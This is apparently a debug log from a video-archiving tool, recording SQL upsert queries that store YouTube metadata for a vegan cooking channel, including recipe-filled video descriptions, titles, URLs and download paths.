("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as I GOT YOU COVERED with the cookie recipe of your dreams. 😌 These Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery velvety smooth taste and texture you’ll EVER try. They’re truly the best cookie Brad and I have ever eaten. They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods!\n\nLOOKING FOR MORE COOKIE RECIPES? WATCH THESE ⬇️\nQuick & Easy Holiday Cookie Recipes 🎄 \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nPumpkin Spice Choc Chip Mini Scones 🧡 \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\n\nEnjoy this video? Please give it a LIKE 👍🏻 and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\n⬇️THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES ⬇️\nhttps://steamyvegan.com/healthy-choco...\n\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "THE BEST VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪 Oil-free, refined sugar-free, gluten-free", "4957fca8-50d7-47da-b585-663f52ca0db2", 1, [], false, "6BCUlPOw_Mw", "https://www.youtube.com/watch?v=6BCUlPOw_Mw", 334, "/downloads/downloads/alec/Steamy Vegan/2022-11-30 THE BEST VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪 Oil-free, refined sugar-free, gluten-free/THE BEST VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪 Oil-free, refined sugar-free, gluten-free [6BCUlPOw_Mw].NA", false, false, false, 1, ~U[2022-11-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as I GOT YOU COVERED with the cookie recipe of your dreams. 😌 These Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery velvety smooth taste and texture you’ll EVER try. They’re truly the best cookie Brad and I have ever eaten. They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods!\n\nLOOKING FOR MORE COOKIE RECIPES? WATCH THESE ⬇️\nQuick & Easy Holiday Cookie Recipes 🎄 \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nPumpkin Spice Choc Chip Mini Scones 🧡 \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\n\nEnjoy this video? Please give it a LIKE 👍🏻 and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\n⬇️THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES ⬇️\nhttps://steamyvegan.com/healthy-choco...\n\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "THE BEST VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪 Oil-free, refined sugar-free, gluten-free", 1, nil, false, "6BCUlPOw_Mw", "https://www.youtube.com/watch?v=6BCUlPOw_Mw", "/downloads/downloads/alec/Steamy Vegan/2022-11-30 THE BEST VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪 Oil-free, refined sugar-free, gluten-free/THE BEST VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪 Oil-free, refined sugar-free, gluten-free [6BCUlPOw_Mw].NA", false, ~U[2022-11-30 00:00:00Z]] 20:31:08.507 [debug] QUERY OK source="sources" db=1.0ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.509 [debug] QUERY OK source="media_items" db=1.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-23 00:00:00Z], 1] 20:31:08.515 [debug] QUERY OK source="media_items" db=4.7ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this 2 part SUPER SIMPLE SIDES series I show you how to make super simple and delicious veggie side dishes for the holidays! (or anytime) Each recipe is packed full of flavour and nutrition but requires minimal effort, time and ingredients. VEGAN AND GLUTEN-FREE! \n\n🎄 MISSED PART 1? CLICK HERE ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0\n\nRECIPES IN THIS VIDEO -\nTAHINI PARMESAN ROASTED BROCCOLI\n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\nCLASSIC CARROT & TURNIP MASH\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nHARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nLooking for more cozy recipes? Watch these videos next! ⬇️\n2 COZY SOUPS TO MAKE IN YOUR INSTANT POT: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n0:37 - How to Make Tahini Parmesan Roasted Broccoli\n2:37 - How to Make Classic Carrot & Turnip Mash\n4:14 - How to Make Harvard Beets", "SUPER SIMPLE SIDE DISHES | 3 delicious veggie side dishes for the holidays 🎄 vegan & gluten-free", "9edb8bc2-e786-41a9-97f1-5d1fc5d0df69", 1, [], false, "ZfZtXcCmBrw", "https://www.youtube.com/watch?v=ZfZtXcCmBrw", 335, "/downloads/downloads/alec/Steamy Vegan/2022-11-23 SUPER SIMPLE SIDE DISHES | 3 delicious veggie side dishes for the holidays 🎄 vegan & gluten-free/SUPER SIMPLE SIDE DISHES | 3 delicious veggie side dishes for the holidays 🎄 vegan & gluten-free [ZfZtXcCmBrw].NA", false, false, false, 1, ~U[2022-11-23 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this 2 part SUPER SIMPLE SIDES series I show you how to make super simple and delicious veggie side dishes for the holidays! (or anytime) Each recipe is packed full of flavour and nutrition but requires minimal effort, time and ingredients. VEGAN AND GLUTEN-FREE! \n\n🎄 MISSED PART 1? CLICK HERE ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0\n\nRECIPES IN THIS VIDEO -\nTAHINI PARMESAN ROASTED BROCCOLI\n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\nCLASSIC CARROT & TURNIP MASH\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nHARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nLooking for more cozy recipes? Watch these videos next! ⬇️\n2 COZY SOUPS TO MAKE IN YOUR INSTANT POT: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\ (truncated) 20:31:08.516 [debug] QUERY OK source="sources" db=0.5ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.518 [debug] QUERY OK source="media_items" db=1.7ms idle=10.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-17 00:00:00Z], 1] 20:31:08.520 [debug] QUERY OK source="media_items" db=1.8ms idle=10.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you how to make 3 super simple and delicious veggie side dishes for the holidays! (or anytime) Each recipe is packed full of flavour and nutrition but requires minimal effort, time and ingredients.\n\n🎄 MISSED PART 2? CLICK HERE ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0\n\nRECIPES IN THIS VIDEO -\nDILLY GARLIC MASHED POTATOES\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\nSWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\nLooking for more cozy recipes? Watch these videos next! ⬇️\n2 COZY SOUPS TO MAKE IN YOUR INSTANT POT: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n0:40 - How to Make Dilly Garlic Mashed Potatoes\n2:16 - How to Make Sweet 'n Smokey Brussels Sprouts\n4:20 - How to Make Maple Spiced Yams\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "SUPER SIMPLE SIDE DISHES | 3 delicious veggie side dishes for the holidays | vegan & gluten-free", "e406ad56-79e1-49c7-9ca5-a154fc9d432a", 1, [], false, "ylCq0ZfWU-8", "https://www.youtube.com/watch?v=ylCq0ZfWU-8", 336, "/downloads/downloads/alec/Steamy Vegan/2022-11-17 SUPER SIMPLE SIDE DISHES | 3 delicious veggie side dishes for the holidays | vegan & gluten-free/SUPER SIMPLE SIDE DISHES | 3 delicious veggie side dishes for the holidays | vegan & gluten-free [ylCq0ZfWU-8].NA", false, false, false, 3, ~U[2022-11-17 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you how to make 3 super simple and delicious veggie side dishes for the holidays! (or anytime) Each recipe is packed full of flavour and nutrition but requires minimal effort, time and ingredients.\n\n🎄 MISSED PART 2? CLICK HERE ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0\n\nRECIPES IN THIS VIDEO -\nDILLY GARLIC MASHED POTATOES\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\nSWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\nLooking for more cozy recipes? Watch these videos next! ⬇️\n2 COZY SOUPS TO MAKE IN YOUR INSTANT POT: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VE (truncated) 20:31:08.521 [debug] QUERY OK source="sources" db=0.6ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.525 [debug] QUERY OK source="media_items" db=2.3ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-11 00:00:00Z], 1] 20:31:08.527 [debug] QUERY OK source="media_items" db=1.4ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Learn how to make tofu taste amazing with the BEST 2 ways to cook tofu! Never eat bland, tasteless tofu ever again! All you need are a few simple ingredients to transform this incredibly healthy plant-based protein into something you'll want to include in tons of your favorite meals. \n\nTERIYAKI TOFU\n1 block firm or extra firm tofu, pressed + sliced\n2 tbsp soy sauce or tamari if GF\n2 tbsp maple syrup\n2 tbsp toasted sesame oil\n1/4 tsp cayenne pepper\n\nIn a small jar combine all the ingredients, minus the tofu, seal and shake until well combined. \nIn a sealable food storage bag arrange the tofu slices so they are laying flat. Pour in the marinade and seal the bag. Turn and massage the bag until each piece of tofu has been covered, and place in the fridge for 20 minutes minimum up to overnight (if you plan to cook it the next day). The longer it sits the better!\nAdd the marinated tofu to a parchment lined baking tray and bake for 40 minutes at 425°F until golden, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own!\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month 